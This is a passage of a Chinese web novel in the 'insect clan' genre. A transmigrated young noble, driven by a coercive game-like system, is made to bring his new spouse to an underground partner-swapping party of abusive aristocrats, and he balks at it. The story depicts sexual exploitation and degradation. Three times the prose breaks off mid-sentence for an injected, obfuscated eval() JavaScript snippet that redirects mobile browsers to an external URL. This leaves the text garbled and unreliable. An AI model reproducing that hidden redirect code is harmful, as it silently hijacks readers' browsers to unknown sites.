诺菲西斯停顿片刻,站直身体,对雄虫微微笑了一下:“这当然可以,阁下。” 伽迩盯着雌虫的侧脸,被答应后反而不知所措,再问了一遍:“你确定吗?你就不问问我是什么宴会?” 他当然知道是什么宴会。 诺菲西斯笑容不达眼底,那群雄虫做过的事早就被地下军的他们广为传颂了。 但他还是认真地说:“我相信您,不会做害我的事。” · 半夜,伽迩与面板面对面地对坐着。 他回想下午与诺菲的对话,仿佛看见突然凑近的雪白耳廓,发丝就这么滑下来,蹭在他的鼻尖,痒痒的,若有若无地渗出雪松的冷香。 旖旎的氛围如丝如缕地缠绕,说出来的内容却那么沉重冰冷。 如果,诺菲知道,自己带着他是去和其他雄虫交换,那……他的眼里会出现什么? 失望。 受伤。 还是深深的绝望? 别说对面雄虫的虫品问题,他做不到把那么关心自己的人送给别人。 即使是陌生人,也做不到。 “系统,我们谈谈吧。” 伽迩盘腿坐在床上,一本正经地对那毫无反应的面板说:“你不觉得你发下来的任务太过分了吗?” “诺菲西斯是个活生生的……雌虫,肆意践踏别虫的尊严,和垃圾有什么区别。” 他想了想,缓缓分析道:“你要我完成任务,肯定是有原因的对吗?” “有非我不可的原因。” “你不和我交流,我怎么知道如何去帮你?” “不完成任务就电击,完成任务什么也没有,就连学校都知道给贫困生发补助金。” “天天做纯纯的免费劳动力我也没什么劲头啊。” “如果你再不回应我,那接下来的任务不会再配合你。” “电就电了,大不了一死。” “你不敢的。”一道带着杂音的声音响起,无机质地说。 这张蓝色的屏幕,不知何时变成了一张巨大的嘴巴,一张一合,又着重重复道:“你不敢的。” 伽迩敛起眉,胸口憋了一股气:“我敢。” “不,你不敢。” 嘴巴的嘴角就高高扬起,带着十足的讥笑:“就算没有你,我能召来其他人,你并不是唯一选项。” “而且你蓝星上的身体已经死亡,想要回去,只能完成我下达的任务。” 身体……死了? 怎么会?! 伽迩的眼神惊疑不定,底气不像之前那般足:“我怎么会死?明明之前还在……” “在超市值夜班,猝死的。” 那张大嘴裂开森冷的笑容,里面是两排密密麻麻的牙齿:“你昼夜颠倒,课间睡觉,夜里打工,作业都是空余的时间见缝插针地写,说实话,能坚持到高考已经挺了不得。” “你没去医院检查过吧?心率23,过缓,随时有猝死的风险。” 伽迩哑言,这个嘴巴说得分毫不差。 之前他在学校里昏迷过一次,老师希望他去医院好好看一看,但他没去,因为医疗费太贵。 他的人生就是用金钱来衡量着时间,恨不得把一分钟掰成两半用。 所以他迫切地想要上大学。 “不过,你说得也没错。” 那张大嘴闭上几秒,才说:“过于得寸进尺……他把你毙了可怎么办?” 最后几个字更像自言自语,伽迩听不太清,问:“你说什么?” “你没必要知道,小鬼。” 大嘴说完,裂开唇角,血红色的舌头舔了舔:“好吧,好吧,我允许你有点小小的偏移,任务完成度的标准会降低,惩罚不变,但注意一点,保持好你的虫设,做个彻头彻尾的坏蛋,最好是死无葬身之地的那种。” “好了,我要回去休息了。” 伽迩还想追问,大嘴打了个哈欠,立刻碎化成黑白的斑块,像是被马赛克涂抹开的雪花屏,消逝在视野中。 短暂的交接,伽迩一败涂地,主导权全权掌握在大嘴的手中。 如果它所言非虚,想要回到蓝星,他只能完成任务。 伽迩重温任务面板,目前有两个,仅剩41天的协助任务和2天后的宴会任务。 任务内容没变,惩罚没变,虽说标准调低,但不太透明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921451|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着诺菲参加地下宴会,与其他雄虫交换。 看见这句话伽迩的眼睛就疼。 又不是什么新年礼物,大家互相交换,一起欢度节日,快快乐乐。 吐槽归吐槽,伽迩并不想看见那对水蓝的眼睛因为这件事变得死气沉沉。 怎么办? 他要怎么做才能阻止这件事发生? · 诺菲西斯传出地下宴会的消息后,情报部便开始收集信息,立刻整理出参加宴会的雄虫身份等。 情报部的速度很快,为了不被雷索家的小主脑发现,不到一会儿就发来大片的报告,他看完了终端机的那几十个雄虫的信息,在其中几张图里画下圈,深深记住后,销毁了资料,仰头躺在沙发上。 26个雄虫。 诺菲西斯撑着沙发的把手,头轻轻地靠着手腕,把玩自己的发尾。 说是私虫小聚会,数量也太多了点。 占了整个姆拉塔克拉星系里贵族雄虫的十分之一。 若不是潜伏任务,他应该会把雄虫吊在架子上,听着他的哭嚎声,一边抽打放血,一边感谢他的抬举, 毕竟送来26个贵族雄虫来玩弄自己。 这不是抬举他这个小雌侍,是什么? 想到情报部在发送资料时反复强调的“禁止杀虐”,他的眸底蓝灰色就浸染得更深,嘴角挂着嘲讽,径直走出了房间。 更深夜静,不管是仆从还是那只奇怪的雄虫都睡了。 诺菲西斯有时候会感谢雄虫的喜怒无常,这让他几天不用想着与后者同床共枕。 当然,雄虫也不一定会想和他睡在一起。 雷索家族的庄园很大,但真正生活的区域只有庭院和雄虫所在的那栋楼。 这里曾充斥着雌虫的哀嚎、鲜血,也曾听到他们的亡魂在哭喊。 听说地底埋了数不清的尸骨。 但诺菲西斯对这些谣言不感兴趣,唯独只是对庭院抱有偏爱。 他踩着月光,漫步在石子路上,脸上难得沉静下来。 没有笑、没有冰冷、也没有温度。 顺着不知前路的月河,不断地走。 拐弯,再拐弯。 直到看见盛开在石路边上的百合,迎着夜风飒飒地抖着花瓣。 诺菲西斯脚下一顿。 倒不是看见那纯洁如玉的花。 而是在花丛里蹲着一个身影。 那身影格外熟悉。 白色的花领长衫下,宽松的灯笼长裤微微上拉,露出白皙的脚踝,单薄的上身贴着大腿膝盖,手里握着什么东西,对着百合摇摇晃晃。 清新娴静的氛围被打破,饶是喜怒不形于色的雌虫也有些恼。 他扯了扯嘴角,戴上笑容的面具,一步步靠近雄虫的方向。 每一步都踩得很实,很用力。 当他看清雄虫手里的东西时,笑容却僵持在了脸上,剩下满满的震惊。 同时,一道小声、却清晰有力的声音传来: “2736纪年,历经数年的战争获得胜利。这是一场艰险的、充满血腥的斗争,预示着新虫族主义的建立……” “尽管大部分的士兵回归了虫神的怀抱中,但他们的光荣无法磨灭。我们会永远纪念正义之师罗格军团付出的牺牲,他们是勇敢的、无畏的,愿佩达拉米的风常伴他们左右。” 说完,雄虫还双手合十,虔诚地低下头。 诺菲西斯:“?” 7. 参加地下宴 伽迩想着任务,躺在床上辗转反侧,实在睡不着觉,从枕头底下拿出一本正红色的牛皮书。 这本书的书名名叫《百年虫族史》,重量不轻,实打实地落在手心里,像捧了一块板砖。 都说睡不着就数羊,数羊没用就看书,背点单词,看点数学公式,历史和政治也可以,看着看着就睡着了。 但伽迩越看越精神,《百年虫族史》是一本收录了数百年,虫族历史的书籍,具有强烈的感情色彩和故事性。 伽迩有个很奇怪的习惯,当他觉得很烦躁的时候,就会读出声。 书读百遍,其意自现,读读能加深印象,也能放空自己。 他捧着这本书,从安静地坐在桌前,到站起来,再到四处巡走,无意识地下楼,前往庭院,在小路上诵读。 等念到部分句子,他走累了,干脆往花前一蹲。 “……愿佩达拉米的风常伴他们左右。” 伽迩闭上眼,双手合十,作者的文字功底很好,将那场大战的惨烈和热血描绘得栩栩如生,他不禁代入星际的将领们,由衷地叹喟军人们的伟大。 希望百合花能给战场上亡者的一些慰藉。 伽迩的脑海中不禁又浮现出诺菲西斯的脸,想到明天的地下宴会,苦恼地抓了抓头发。 这种侮辱性的事他绝对不能做。 要不忍一忍,四级电流是昏迷,五级电流不会致死吧? 伽迩嘀咕着起来,四处看了看,空荡荡的没有任何人。 就像没有归属的自己。 他视线下移,对着那本书的文字,小声念读,脚步摇晃地走向有月光淌下的地方。 新的一圈开始了。 · 第二天清晨,看到伽迩眼下的黑圈,仆虫们都吓了一跳。 雄虫的皮肤很白,长了黑眼圈就像画了烟熏妆一样,很明显。 “少爷,需不需要准备一些安神汤?” 被推出来的仆虫代表小心翼翼地问。 伽迩捂着嘴打了个哈欠,摇摇头,低眉顺眼地坐下,发顶的卷毛微微翘着,比平时多了几分可爱。 昨晚跟着雄虫看完全程的诺菲西斯喝了口茶,读了一晚的历史书,能不困吗? 但不知情的仆虫觉得心里软乎乎的,像被什么东西射中一样,连声音都忍不住放低了说:“好的。少爷,今天的主食是罗布泊面,配番茄肉末浓酱。” “嗯。” “那我们先去准备了?” “去吧。” 一口一个回答。 天呢。 人是视觉生物,看到好看的事物就会忘记它的危险,三观跟着五官跑,虫也是如此。仆虫兴奋地离开,迫不及待想把这个消息告诉别的虫,完全忘记了原主对他们的伤害。 仆从一走,就轮到诺菲西斯的主场了。 他问出了仆从没敢问出的问题:“雄主,您没休息好吗?” 伽迩还是摇头。 诺菲西斯看出雄虫还迷糊着,没有再多说什么,只是安静地动作,令雄虫感到服帖即可。 吃完饭,梳理完头发,伽迩才清醒一点,不怎么说话,冷着脸,阴沉沉的。 仆虫以为又招惹到伽迩不快了,尽可能地不出现在他的面前,以免触及雄虫的霉头。 殊不知伽迩根本没在意他们的行为举止,正在为晚上的宴会满心愁绪。 唉。 烦。 伽迩咬着笔头,坐在书桌前不知道写废第几张稿纸,口中不知道发出第几次叹息。 从他接到主线任务,答应和那群雄虫的邀约起,游戏聊天框就一直发消息。 他没看。 就记下了地址。 想也不是什么好话。 终端机收到一则视讯请求,伽迩得知时间正与约定的死线迫近,答应不会食言,就挂断了。 不给对面说话的机会。 他思来想去,只有唯一一个办法能阻止这场宴会。 就是需要冒一点点的风险。 . 换上下虫准备好的出门礼服,和诺菲西斯登上了离开庄园的飞行器。 从上空俯视下来,伽迩意识到雷索家真的是一个庞然大物,他所见到的仆虫还是太少。原来其他楼都有仆虫在进进出出地忙活。 悬浮的轨道旋转上升,绕开高耸入云的楼层,向铅灰色的天际延伸。 远远看去斑驳的小点分布不均,挤挤挨挨,绚丽缤纷的光从中喷射而出,上下漂浮,或快或慢,为逐渐下沉的帘幕染上几分零星的色彩。 伽迩看看时间,按照虫族的计时,确实快到夜晚。 虫族的科技感强,早在一千年前,正常的昼夜更替就变得模糊不清,于是虫为干预,明确了时间观念。 虽然是模拟出来的效果,但伽迩还是觉得景致很美。 装模作样看了一会儿窗外,与雌虫面对面坐的紧张感无法消散,原主有些晕船,这种特性自然就延续到了他身上。 伽迩打不了游戏,忽然想到了什么,问: “饿吗?” 作为一个who care 的雄虫,固然是不会关心别人的吃吃喝喝,伽迩自问自答:“我饿了。” “等结束去吃饭吧。” 这句话多少有些莫名其妙,私虫小宴会虽然以玩弄雌虫为主要目标,但美食酒水都会准备。 吃饱喝足了才有力气开群趴。 还会有结束吗? 诺菲西斯没想到伽迩还有绿帽情结,刚成年,玩得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921452|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花样倒不少,别的虫用完自己再用? 雌虫笑盈盈地应了声“好”,当然不会信他口中的吃饭是正常的吃。 可惜这场宴会办不到最后,有生之年怕是无法满足小雄虫的小小心愿。 组织这场宴会的雄虫将地点设置在区中心的一家酒店,伽迩以为是高档奢华的黄金酒楼,到达现场,一看,闪烁的灯光迷眼,嘈杂震耳的音乐响破空间,很像星际红灯区的夜店。 “您是伽迩阁下吗?” 笑眯眯的瘦高雌虫迎了上来,脸上涂着五颜六色的妆,皮衣皮裤,潮流点大概叫朋克风。 见伽迩点头,瘦高雌虫的情绪瞬间高扬起来,用颇为夸张的调子说:“诶呀,伽迩少爷,早听闻您的大名,您比传闻说得还要美丽、尊贵、耀眼!能有您这样的上层贵族光临鄙店,真的万分荣幸!” “嗯……” “您今晚是参加亚文阁下举办的狂欢夜吗?” 伽迩不太想承认,但还是点头:“对。” “那太好了,各位阁下已经入座了,正在等候您的到来,请允许我引领您过去。” 瘦高雌虫笑得一脸谄媚,盯着伽迩就像盯着一块香喷喷的肥肉,眼睛都泛着光。 伽迩最不擅长应对这种性格的人,面对他的每一句热情洋溢,甚至有点想逃。 “少爷,我叫罗弗瑞,是这家店的老板。您可能不知道,我们是新开的酒店,和外面的那种不一样,是专门给您这种高贵的顾客提供服务的~” “本店可以吃饭,娱乐,喝酒,住宿,如果想要特殊服务,也有专门的包厢,基本的玩具和设施都有。” 罗弗瑞一边引路一边热情地说:“除此之外,本店有各色雌虫,有清新甜美的亚雌,也有阳光健硕的雌虫,如果想要军雌,诶呀,我们这里也有退伍的军雌可以挑选。蝉、胡蜂、蜻蜓、蜘蛛……很多很多。您选不出,我可以给您介绍呀?” “不用。” “您不用客气,想要什么雌虫和我说一声,我给您安排!刚开业,免费送您的,带回去当雌奴都可以!” 伽迩不是很想说话,什么虫什么虫的,他其实有点怕,一点也不想了解。 但是他莫名想到,那天问他是不是要新雌侍的雌虫,忍不住看了诺菲一眼,犹豫许久,说了一句:“我不会收雌奴的。” 诺菲西斯注意到了雄虫的视线,虽然很短暂,轻飘飘的,像一根羽毛, 但他笑了笑,刚想说什么,罗弗瑞突然道:“到了。” 话一落,门被推开。 卡座上,无数双眼睛看向他们,里面是穿着礼服、神色各异的虫族。 闪烁的灯光球下,罗弗瑞向包厢里伸出手,恭敬地弯下腰说: “阁下,请进吧。” 8. 他的手心温暖干燥 “阁下,请进吧。” 门后的空间比他预想要大,入目所及就有几张大理石的方形桌,摆放着新鲜烹饪的美食。雄虫分布在不同方桌的卡座前,无一例外,旁边都有一只雌虫。 他们看向伽迩和诺菲西斯,动作停滞在半空中,就连表情也是,就像骤然终止的无声剧。 有的在笑,有的在惊讶,有的在看戏。 伽迩停驻在门前,几秒后才从众目中找回几分神智,定定地看了许久,才踏出进入房间的第一步。 空气中弥漫着香氛和咸腥的气味,桌面上的红酒瓶东倒西歪,酒液混杂着其他液体从桌面上往下淌,淌出一滩水洼。 有一些雌虫趴在地面上,用舌尖去舔舐流下来的酒水,间歇性地发出粗重的喘息,摇头摆.臀,像一条烈日下发qing的猎狗。 派对显然已经开始,伽迩恍惚了一下,脑海中挤入了一段似是而非的片段,但他顾不上反应这些片段的含义,屏住呼吸,放慢脚步地走进包厢,突然想到什么,又悄然后退两步,轻轻拉住诺菲西斯的袖子。 雌虫微怔了一下,对伽迩笑了笑:“雄主,我在。”不用担心他会跑。 包厢里的雌虫就没有姿势正常的,伽迩不敢看诺菲的表情,只能紧紧抓住他的袖子,至少表明自己在这里。安慰的作用太小,但有胜于无。 卡座中间站起一个棕毛的青年,他放开怀里的亚雌,高唤一声,热情地走上前抱住了伽迩:“伽迩,你可算来了啊。” 瞬间,刺鼻的香水味钻入鼻腔。伽迩皱了一下鼻子,表情不太好看。 雄虫松开他时,看着伽迩的脸顿了顿,后撤几步,举起双手歉意地笑道:“抱歉,我忘了你有点小洁癖。” “没事。”伽迩没什么反应,也做不出什么反应:“我坐哪儿?” “哪里都能坐。” 伽迩点头,绕过他,拉着诺菲西斯的袖子在靠边的空位坐下。 “喂,伽迩,你坐那边做什么?”一看到伽迩远离虫群,他们就不乐意了。有个雄虫仰起头喊道:“来这里玩啊,角落里有什么好的。” 他身边的雄虫附和道:“就是啊,别躲躲藏藏,让我们看看你新娶的雌侍啊。” “我等了好久呢。” “欣赏一下呗。” “别着急,伽迩才刚坐下,好歹让他休息休息。”棕发雄虫说。 他对伽迩的行动并不意外,在场三十多个雄虫,能上A的一只手能数出来,家室比得上雷索家的更是少数。伽迩目中无虫有他的资本,就连他也是接近了快三年,才和伽迩混熟。 想到这,棕发雄虫觉得这些雄虫有些可笑,冷笑一声,跟着坐下,还招来远处的亚雌一起坐过来。 “好久没见了啊。” 雄虫在玻璃杯里倒入酒,放到他面前:“新婚生活怎么样?” 伽迩没有拿起酒杯,眼睫恹恹地垂下:“还可以。” “可以就好。”棕发雄虫放下酒瓶,目光在伽迩和诺菲之间来回转动,笑问道:“对了,我发你的视频有用吗?” 他的眼神往诺菲西斯的那边划,伽迩侧了侧身体,遮住后面雌虫的脸:“嗯。” 嗯是什么意思。 雷索少爷的脾气是模拟器上的天气,说变就变,开心就多说几句,不开心就少说几句,有时候他也有些捉摸不透。棕发雄虫吃不准,也不想触霉头,于是笑嘻嘻地说: “先不说这个了,今天这个小聚会的主题是在场的所有雌虫,大家都介绍过一遍了,就差你的了。” 他朝伽迩挤了挤眼:“我们是先吃饭,还是先交流,嗯?” 话一落,各种目光倾注在他们身上。 诺菲西斯坐姿如常,仪态上挑不出错,修长笔挺的身体如浑浊的泥潭里开出的一朵雪梅,端庄优雅,是很难得,吸引虫去毁灭、弄脏的特质。 尤其是新婚的雌虫,才刚与自己的雄主有过初次体验,所有的一切都是崭新的、青涩的、僵硬的,也更容易陷入绝望和奔溃。 换雌聚会,就是品玩自己不曾拥有的类型,他们会带来玩腻了的雌侍,通过交换获取乐趣,刺激自己心里恶劣的欲望,在其他的雌虫身上彻底释放。 这无疑是个地狱,可就是这样一个黑暗肮脏的地方,伽迩·雷索带来的却是仅仅拥抱了五六天的雌虫。 这无亚乎一种惊喜。 像是沙砾中埋藏的珍珠,用完了还能碾碎成珍珠粉,吞吃下肚,细细品味。 明白价值的雄虫眼神变得黏腻起来,像是在欣赏自己的所有物,远远打量着诺菲西斯。 这是一个虫素交融的狂欢派对,几乎半数雄虫都拥有着享用一只雌虫的机会。 他们认为那个机会中必然有自己。 雪白的长发会被踩在脚下,在他们的拉扯中,哭喊求饶,却还是堕落成泥。 不过,伽迩·雷索挡住了大部分的视线。 雄虫们看不清诺菲西斯的脸,有些不满,想出声,被棕发雄虫一眼瞪回去。 后者常常出席在地下宴会中,权威性比起伽迩更为显著。 所以他们也不出声了。 棕发雄虫收回那瞪出的一眼,看到诺菲,想起当初和伽迩他们一起变装偷偷去地下城区玩,这个雌虫将他们摁在地上暴揍时,那高高在上又冰冷的眼神,恨得想磨牙。 他们从没出过主城区,好不容易溜出家族的包围圈来到偏僻的星球,偏偏冒出个正义使者,不仅打了他们一顿,还想把他们带去当地军部丢面子? 身为雄虫,棕发雄虫他们受到了从未有过的屈辱。 肿胀的脸,充血的眼睛和满口血味的嘴巴,这个雌虫毫不留情地揍了他们,直到现在他的腹部还隐隐作痛。 按照伽迩的性格,若是被打成这样,说什么也得把这雌虫搞死,但运气好的是,伽迩几乎没受什么伤,只留下落荒而逃的耻辱感。 为了面子,伽迩不允许他们说出任何关于地下城区的事,后来还用了什么手段,和这雌虫匹配成功,办下婚宴,在表面上给出十足的重视,就像在蛛网上黏了蜂蜜的蜘蛛,无声无息地把沉浸在蜜糖里的小虫一口一口地吞噬下去,让后者在甜蜜之后迎来自己的绝望和痛苦。 伽迩饶有兴致地经营这场游戏,几个蠢货趁着机会和伽迩打赌,赌这婚礼,赌这交换雌虫的聚会。 婚礼办了,聚会也开了,还有一个甚至在游戏里催起了伽迩。 幸好伽迩没有因为他们的插手而生气,欣然带着雌虫来了。 棕发雄虫搂着怀中的亚雌,借喝酒时玻璃杯上的空间,悄然地观察伽迩的神情。 可这位少爷的神色怎么和他预想的不太一样? 看不出对聚会的喜欢。 当初答应的时候,伽迩愤怒又兴奋的宣誓他还记得很深。伽迩说要让诺菲西斯受尽折磨,让这只雌虫后悔招惹他。 “先吃饭。”伽迩说。 他正在细想脑海里忽然浮现的片段。大抵是原主使用最新的变装道具,变成一只雌虫,在与狐朋狗友去地下城作恶取乐的时候,被诺菲教训了一顿,怀恨在心。 他与其他朋友定下赌约,一是要把诺菲西斯追到手,以最高规格与他结婚;二是将他带来这换雌宴会,让他难堪。 雌君在法律上是无法随意切换的,雌侍可以。 原主做好了打算,婚后一个月,在最甜蜜的时候告诉诺菲真相,把他带来这个宴会。 这一切被猴急的狗友提前了。 伽迩回答后也不管其他虫的想法,在桌面上挑选许久,选了一盘还算干净的三明治,如果计划通,他可能也要走一遭,还是要先垫垫肚子。 目前系统没有放出提词器。它总是有一下没一下,虽然麻烦,但不用想着如何改词,还是比较轻松的。 伽迩前倾着身体,碰到盘子的边沿前,一只戴了手套的手已经提前拿起盘子,放到他的面前。 “雄主,您想吃什么和我说就好了,我帮您取。” 温润的嗓音就贴着他的耳侧潺潺流过,l伽迩坐直身体,那只手妥帖地为他擦拭桌面,垫上桌垫,放下刀叉,俨然和庄园时一样,仿佛这不是什么腌臢的地方,而是高档的上流场所。 伽迩实在无奈:“就这些好了。” “好的。” 其他雄虫放下手中的酒杯,看了看自己身边或无骨或趴伏的雌虫,顿时觉得酒不香醇了。 比起天上干净的云朵,地下的烂泥实在是太无味,尝了再多遍也是一股散不去的土腥气。 “伽迩。” 有虫坐不住了。 “我和你换。” “我的雌虫在V259星球做过兵虫,很耐.操, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921453|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一定会喜欢。” 伽迩握着刀叉的手一顿,很快更多的声音冒出来。 “我和你换!我的雌虫是在「明日」当过歌星的,唱歌不错,嘴巴很软,还有香味,玩起来很爽。” “我的雌虫更厉害!在军部有过职称,蜻蜓,还没摘去虫翅,很会跳舞,各种意义上的跳舞,你试试一定会爱上!” 雄虫争先恐后地竞价,说出来的词汇粗鄙又下流,很难想象这些虫会是上流社会的常驻者。 伽迩空荡的胃翻涌起来,一阵恶心,无数张雄虫的脸扭曲成怪物,模糊了他的视线。 地上,桌上,沙发上,那些雌虫的眼神空洞,像没有灵魂、不知疲倦的机器,机械式地做着那几个动作。 无论是多么漂亮精致又鲜活的生命,在被送出去的那一刻已经失去他们本真的颜色。 诺菲西斯为伽迩整理衣襟的手突然僵硬,眼眸里翻起细微的波澜。他的嘴唇格外苍白,碰到伽迩的皮肤也是冰凉的一点,还细细地发着抖。 伽迩心一跳,知道那些下流不堪的话雌虫都能听见。他明显感觉到他的害怕,垂下的眼睫藏着彷徨的恐惧,可雌虫还是把衣襟整理好,铺平了衣前的褶皱,处理完一切,这才轻声地唤:“雄主……” 诺菲抬起眼,轻轻地扯了扯唇角,挤出一抹笑,只是那笑容看起来勉强,脸部的肌肉微微抽动,庞杂的情绪打碎了冰层,透出一丝端倪:“能不能不要………” “不要把我送给,其他阁下?” 雌虫的声音很平缓,完全是打着商量的语气,温声细语地乞求他的怜悯。 伽迩紧紧捏着叉子,知道再怎么自欺欺人,诺菲也该认清这场宴会的本质了。 这是一个有去无回的无间道,没有未来的屠宰场。 把新鲜的东西投放进机器中,经过数道加工,做成他们想要的形状,是必经的道路,也是残酷可怖的现实。 诺菲西斯从结婚开始,脸上的笑容就一直是和煦的,现在却是如年久失修的墙板,轻轻一碰就不受控制地崩裂出碎片。 他几乎是压抑不住牙关下的负面情绪,因听不到雄虫的回复,紧紧攥着他的衣服,五指都在用力,指尖泛起白,殷切式地哀求道:“您都还没用过我。” “这里。” “还有这里。” 雌虫握着伽迩的手从上面,急切地滑到下面,和那些雄虫一样,极力地推销自己,企图用低声的哀叹换回雄虫的一丝眷顾:“您都还没享受过。” “如果可以,我能做得比那些雌虫还要舒服。” “那些道具我们都还没一一试过。” “鞭子就能满足您了吗?” “您甘愿把空如白纸的我送到其他雄虫的手中吗?” 即将要探到不该探的区域,伽迩后知后觉的抽回手。诺菲的表情却像崩塌了似的,怔怔地看向他,蓝色的眼睛迅速黯淡下来,透不出一丝光芒。 白纸?? 听到这个消息,其他雄虫不敢置信,旋即哈哈大笑,愈加狂热起来。他们拼命地推销自己身边的雌虫,想做交换的第一虫。 毕竟这是稳赚不亏的一场交易,谁都不想放过。 眼前的雄虫没有声音,诺菲听见耳旁的叫呼声,握了握拳心,低下头,额前垂落的发丝遮住了他略带嘲讽的嘴角,他从来都不对这些玩意儿抱有希望,刚刚不过是试探一下罢了,面对那些雄虫他自然有办法解决。 重新扬起头,雌虫的脸上挂上微笑,声音一贯地温柔体贴:“您想要哪个雌虫,我去换。” “亚雌,兵虫,还是那只蜻蜓?” 诺菲西斯像平时吃饭一样,细数着雌虫的种类,一字不落地把那些雄虫的介绍说出口,只是每说一句,脸色就白上一分,他的强颜欢笑像是被打碎重组过的面具,痛苦如雪花抖落,马上又是支离破碎。 当说到下一个雌虫,诺菲的身体前倾,脸反而平静下来,仿佛接受了命运,变得和聚会中的雌虫没什么不同,他主动起身,欲要前往另一边雄虫的聚集地,突然被轻轻地摁回原处。 “雄主?”诺菲西斯一顿,回头看向伽迩。 伽迩第一次主动握住了他的手,没有顾及什么羞不羞涩,紧抿着唇,就是握着,手心温暖干燥,将他往自己的方向带了带,一字一顿: “我还没同意。” 9. 换雌虫吧 伽迩后悔。 非常后悔。 被摸就身体僵化的毛病什么时候能改好。 等他回过神,诺菲西斯的眼眸失去光泽,无机质地坠向远处,如濒临坍塌的高塔,表面完好无损,实则墙砖破裂,流沙静悄悄地泄漏,很快会化作一个空壳。 这不亚乎看着自己精心养的白毛猫,出去跑了一圈,回到家后得了应激反应。漂亮的蓝色猫眼无神空洞,像随时要碎掉的玻璃球,可怜极了,心疼极了,可偏偏放出猫的——是没关门窗的自己。 “我还没同意。” 伽迩握着雌虫的手,同样急切地表明什么,但耳旁乍响的警报声提醒他这样不行。 是,人设。 什么都要遵从人设。 伽迩深吸一口气,眉心微微蹙起,佯装不高兴地对雌虫说:“我让你去了吗,忘记你的雄主是谁了吗?” “是您。”雌虫的手指微动,垂眸敛目,下一瞬抬起的眼眸又生出希冀,反过来握紧了伽迩的掌心,像抓住了一根救命稻草,却依旧带着颤意。 “既然知道是我,那就不要擅自作出决定。” “非常抱歉,以后不会了。” “什么?伽迩,你不换雌虫?”有个雄虫高声质问。 “为什么要换。” 伽迩对那提问的雄虫歪了歪头,疑惑道:“你们也不看看自己带的都是什么雌虫,就提交换,真好笑。” 对不起,没有骂你们的意思,你们都是很好的虫,都是益虫! 伽迩一说完,心里就双手合十,疯狂和那些雌虫道歉。 我是渣渣,我不配哈。 一些雄虫坐不住了,其中一个猛地站起来,对伽迩怒目而视:“伽迩,你什么意思!瞧不起我们?” “对。”伽迩收回思绪,看见那些雄虫的一瞬间,脸冷了下来,面对虫渣他比原主更像原主:“就是瞧不起你们。” “就你们这样的低级雄虫也配和我待在一个空间里互换雌虫?” “谁给你们的错觉。” 最后一句承载了他实实在在的怒意。 伽迩知道,虫族世界的规则就是这样,身居高位的雌虫独善其身,身居底层的雌虫没有虫权。 在这个光鲜亮丽的星球下,撕开皮肉,里面是经受着痛苦焦灼的灵魂。 煎熬、哭嚎、流血、牺牲。 死掉的军雌如山堆积,补贴给这些士兵的送葬费却少得可怜,那些调下来的军资费用,跳过姆拉塔克拉的主脑,由议院抽头,下放到贵族手中,再抽头,最后所剩无几。 战场上的虫尸大多没有雌父雄父,很多是支付了大量德郎,交易匹配,最后春风一度下的产物,火一烧,尘归尘,土归土,没有虫会记得这么一个存在。 而活着的雌虫为了生存辗转于矿星、高危星球,或者做纯粹的苦力,没有工作的比比皆是,星际里的社保基金,在虫族简直是痴心妄想,因战争受伤而退伍的普通兵虫没有得到任何保障,会因为各种缘故拿去被一些富有的雄虫瓜分挑选,剩下再由功勋和背景分配到各个星球,过着永无天日的生活。 书中的记载是粉饰太平的结果,而原主的记忆才是清晰地展露出上层的黑暗面,雷索家族参与了军资的贪污受贿,而且所占份额不少,原主众星捧月,不单单是雄虫的身份,也有盘根错节的家族底蕴及虫脉。 伽迩自认为他没什么能力去管所有的雌虫,即便做好了心理准备,他还是被这个残酷肮脏的地下宴恶心到了。 在这里,没有雌虫是单独且自由的,他们的脖颈处都有一个金属铁环,上面细心地造出一个小圈,由铁链连接,送到各雄虫的手中,像货物一样交换。 而贵族雄虫是吸血蛭,丑陋荒诞的脸拉开了血盆大口,用尖牙撕咬那些雌虫的血肉,吞噬他们的精神,乐此不疲地寻找着下一个猎物,然后扒在上面摄取营养。 如果带诺菲西斯来参加的人不是他,而是原主,那会怎么样? 这个无辜的、博学温雅的雌虫会遭到什么惨无人道的对待? 伽迩不敢想。 这种厌恶转嫁给了在场的所有作恶源头,化作实质的怒火,爆发出来。 棕发雄虫没想到不过短短的时间,用来狂欢享乐的聚会会变得如此僵持,尤其是塞达,对,就是带了一只耐.操的兵虫,还质问伽迩是什么意思的那个雄虫,他反应尤其剧烈。 说来也是,提出聚会的是他,垂涎雌虫的也是他。 雄虫不是光想着□□的虫素上脑,但塞达绝对是。 对于开发雌虫这一方面,他有经验,还变态。 被诺菲西斯抓了个正着,就是因为塞达非要把一只雌虫崽子带回去,说自己还没玩过这款。 他被打是倒霉,塞达被打纯属活该。 “哎。” 